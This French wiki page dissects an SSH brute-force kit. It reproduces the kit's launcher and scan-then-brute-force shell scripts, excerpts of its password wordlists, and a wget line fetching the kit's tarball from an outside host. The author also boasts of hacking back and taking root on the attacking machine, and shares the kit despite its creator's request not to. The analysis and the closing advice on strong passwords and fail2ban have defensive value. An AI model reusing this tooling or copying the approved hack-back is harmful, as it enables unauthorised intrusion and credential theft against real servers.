Décorticage d'une petite attaque

De UnixWiki
Aller à la navigation Aller à la recherche

Il y a quelques temps, plusieurs IP on essayé de brute forcer mon serveur SSH. L'attaque a vite été bloquer et la contre attaque lancé illico grâce à quelques scripts fait maison. J'ai pus prendre le contrôle de la machine attaquante, en root tant qu'à faire...
En me baladant sur la machine, j'ai pus comprendre leur méthode d'attaque. Il m'a suffit de regarder l'activité sur la machine via un top, des process ssh-scan tournaient en boucle et occupaient toute la CPU. Un bête find m'a permis de mettre la main sur le binaire. Mieux, en fouillant les historiques de la machine savoir d'où il provenait. Un wget m'indiquant tout:

 wget http://joe.sexyi.am/joe/jumHs.tgz


J'ai donc téléchargé l'archive pour analyser ça dans une VM. Et comme dans les sources le pirate a indiquer de ne pas partager, je le partage :)
Elle se compose de plusieurs fichiers tous exécutables

 auto: Bourne-Again shell script text executable
 autogo: Bourne-Again shell script text executable
 autogo1: Bourne-Again shell script text executable
 autogo2: Bourne-Again shell script text executable
 common: ASCII C++ program text
 crack: Bourne-Again shell script text executable
 gen-pass.sh: Bourne-Again shell script text executable
 go: Bourne-Again shell script text executable
 goeth1: Bourne-Again shell script text executable
 goeth2: Bourne-Again shell script text executable
 mass: Bourne-Again shell script text executable
 pass_file: ASCII C++ program text
 pscan2: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.2.5, not stripped
 screen: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.0.0, stripped
 ss: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.0.0, stripped
 ssh-scan: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.0.0, stripped
 start: Bourne-Again shell script text executable
 vuln.txt: empty

Les scripts auto* ne sont que des lanceurs d'une autre commande fessant le bruteforce en prenant une IP en paramètre

auto:

 #!/bin/bash
./start $1.0 ./start $1.1 ./start $1.2 ./start $1.3 ./start $1.4 ...

autogo:

 #!/bin/bash
./go $1.0 ./go $1.1 ./go $1.2 ./go $1.3 ...

autogo1:

 #!/bin/bash
./goeth1 $1.0 ./goeth1 $1.1 ./goeth1 $1.2 ./goeth1 $1.3 ...

autogo2:

 #!/bin/bash
./goeth2 $1.0 ./goeth2 $1.1 ./goeth2 $1.2 ...

common est une wordlist:

 000
 0000
 00000
 ..
 brothel
 bruce
 bruno
 bryan
 bryce
 bryn
 bsd
 bumbling

crack un autre script shell:

 echo "${RED}             Private!${RES} "
 echo "${WHI}   **************************${RES} "
 echo "${RED}       Powered By JuMpEr${DWHI}"
 rm -rf mfu.txt
 sleep 5
 echo "$1" > mfu.txt
 oopsnr2=`grep -c . mfu.txt`
 sleep 5
 sleep 2
 ./ssh-scan 270
 echo " "
 echo " "
 echo " "
 rm -rf  *.pscan.22

gen-pass.sh:

 #!/bin/bash
users=$1; pass=$2;
if [ ! -f "$users" -o ! -f "$pass" ] ; then echo "File not found"; exit; fi
rm -f pass_file
for m_user in $(cat $users) ; do for m_pass in $(cat $pass) ; do echo "$m_user $ m_pass" >>pass_file done done

go:

 echo "${RED}             Private!${RES} "
 echo "${WHI}   **************************${RES} "
 echo "${RED}       Powered By JuMpEr${BLK}"
 ./ss 22 -b $1 -i eth0 -s 7
 sleep 7
 cat bios.txt |sort | uniq > mfu.txt
 oopsnr2=`grep -c . mfu.txt`
 echo "${RED}        Found: ${WHI}$oopsnr2${RED} Servers ${RES} "
 sleep 5
 echo "${RED}           BruteForce: ${GRN} "
 ./ssh-scan 270
 sleep 15
 rm -rf mfu.txt bios.txt
 echo " "
 echo " "
 echo " "
 echo " "
 echo " "

goeth1 même chose que le script go avec juste cette ligne qui change:

 ./ss 22 -b $1 -i eth1 -s 7

goeth2 pareil

 ./ss 22 -b $1 -i eth2 -s 7

mass un autre lanceur:

 #!/bin/bash
./start $1.255 ./start $1.254 ./start $1.253 ./start $1.252 ./start $1.251

passfile une wordlist:

 root ASTA-NU-E-BUN
 root redhat
 root 7hur@y@t3am$#@!(*(
 root lolitanebuna
 root shit
 ...

pscan2: un scanner de port, appeller comme ceci:

 # ./pscan2 188.61 22

Il copiera les IP des serveurs possédant le port 22 en écoute dans un fichier 188.61.pscan.22

screen: L'outil screen pour sauvegarder et restaurer ses sessions shell.

ss: Ce binaire va juste ce contenter de vérifier la présence d'un serveur SSH sur le port 22. Si oui mettrait l'ip dans bios.txt.

ssh-scan: bruteforce ssh, il va parcourir le fichier mfut.txt et lancer en background les attaques.

start:

 echo "${RED}             Private!${RES} "
 echo "${WHI}   **************************${RES} "
 echo "${RED}       Powered By JuMpEr${DWHI}"
 rm -rf *.pscan.22 mfu.txt
 sleep 1
 ./pscan2 $1 22 
 sleep 5
 cat $1.pscan.22 |sort |uniq > mfu.txt
 oopsnr2=`grep -c . mfu.txt`
 echo "${RED}        Found: ${WHI}$oopsnr2${RED} Servers ${RES} "
 sleep 5
 echo "${RED}           BruteForce: ${GRN} "
 ./ssh-scan 270
 sleep 15
 rm -rf mfu.txt *.pscan.22
 echo " "
 echo " "
 echo " "
 echo " "
 echo " "

Et vuln.txt qui contiendra les IP piraté avec le compte et le pass. Pas la peine de demander, je ne mettrai pas son contenu :)
Bref à l'heure au j'écris ses lignes, je suis tombé sur une trentaine de serveurs qui utilisent cette méthode pour tenter des prises de contrôle hasardeuses. Et malgrès la simplicité apparente (ces pirates auraient besoin de cours de programmation...), ils arrivent à prendre le contrôle d'un paquet de machines. J'ai déjà vu des vuln.txt de plusieurs centaines de MO contenant les comptes d'accès de switchs d'universités et même des URL en .gov ...

Comme toujours, la partie la plus importante de la sécurité, c'est de bons mots de passe! On peut aussi bloquer simplement les attaques de bruteforce avec fail2ban. Très simple à utiliser et à configurer.